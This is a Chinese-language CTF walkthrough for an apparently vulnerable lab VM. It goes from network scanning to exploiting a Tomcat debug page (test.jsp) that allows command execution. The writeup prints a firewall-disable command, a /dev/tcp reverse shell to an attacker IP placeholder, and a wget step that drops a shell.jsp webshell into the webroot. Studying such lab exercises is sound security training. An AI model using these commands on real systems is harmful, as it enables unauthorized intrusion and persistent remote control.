一、靶机说明

1、下载链接

  靶场镜像:链接: https://pan.baidu.com/s/19k8jz7VARhFW3LYw8U6T9w 提取码: 97qz

2、靶机准备

(1)重置靶场密码

  重启主机,长按shift,进入如下界面后,按e

img

  找到linux开头的行,在最后输入 init=/bin/bash,输入完成后按Crtl+X

img

  mount -o rw,remount /,回车

   passwd root,输入新密码两次

img

  如果提示改变密码成功,重启该虚拟机

(2)查看IP

  使用刚才修改的密码进入靶场主机,输入ip a,查看IP地址

img

二、预备知识

  使用 ssh 用户名@localhost 通过ssh登录服务器是不需要身份验证的

三、信息收集

1、探测主机IP

  可以使用以下两种方法:arp-scan和netdiscover

(1)arp-scan

  使用arp-scan探索靶机IP,发现IP地址为192.168.1.107

arp-scan -l

img

(2)netdiscover

  使用以下命令查看Kali本机IP为192.168.1.108

ip a

img

  使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机

netdiscover -r 192.168.1.1/24

img

2、开放端口与服务扫描

  使用nmap对IP进行扫描:

nmap -sV 192.168.1.107

  可以看到开放了8080端口,为HTTP服务

img

  访问8080端口,发现是Tomcat建立成功的初始页面

img

3、目录扫描

  可以使用dirsearch扫描或者nikto探测

(1)dirsearch

  目录扫描:

dirsearch -u http://192.168.1.107:8080

  扫出了个/test.jsp

img

(2)nikto

  使用nikto探测,发现test.jsp可能比较因缺思厅,那么就让我康康!

img

四、漏洞探测与利用

1、漏洞探测——命令执行

  访问:http://192.168.1.107:8080/test.jsp,出现以下页面,这是一个调试页面,可以用来命令执行

img

2、信息收集

  查看临时缓冲目录,没什么有用的信息

ls -alh /tmp/

img

  查看home目录,挖掘用户信息,发现了bill

ls -la /home

img

  查看具体用户bill的目录,我们可以看到具有ssh服务,后续可以使用sudo来拿到root

ls /home/bill -lah

img

  查看系统信息,为ubuntu系统

uname -a

img

  查看用户bill在主机上可以使用和禁止的命令,没什么有用的信息

ssh bill@localhost sudo -l

img

3、反弹shell

  关闭防火墙,没有消息就是好消息,关闭防火墙成功

ssh bill@localhost sudo ufw disable

img

  kali打开nc监听某个端口,这里我设置为4444

nc -lvp 4444

img

  反弹shell

ssh bill@localhost sudo bash -i >& /dev/tcp/攻击者IP/4444 0>&1

img

【插播:渗透测试技巧】

  开启python简易http服务器

python -m SimpleHTTPServer

  利用命令执行下载木马文件

ssh bill@localhost sudo wget “http://ip:port/shell.jsp” -O /var /lib/tomcat8/webapps/ROOT/shell.jsp

  拿到flag

img

五、总结

  在CTF比赛中,命令执行漏洞具有很多过滤机制。对于开放ssh服务的靶场机器,可以采取以上方法进行渗透靶场机器。如果没有开放ssh服务,则需要利用绕过过滤技巧来达到命令执行的目的。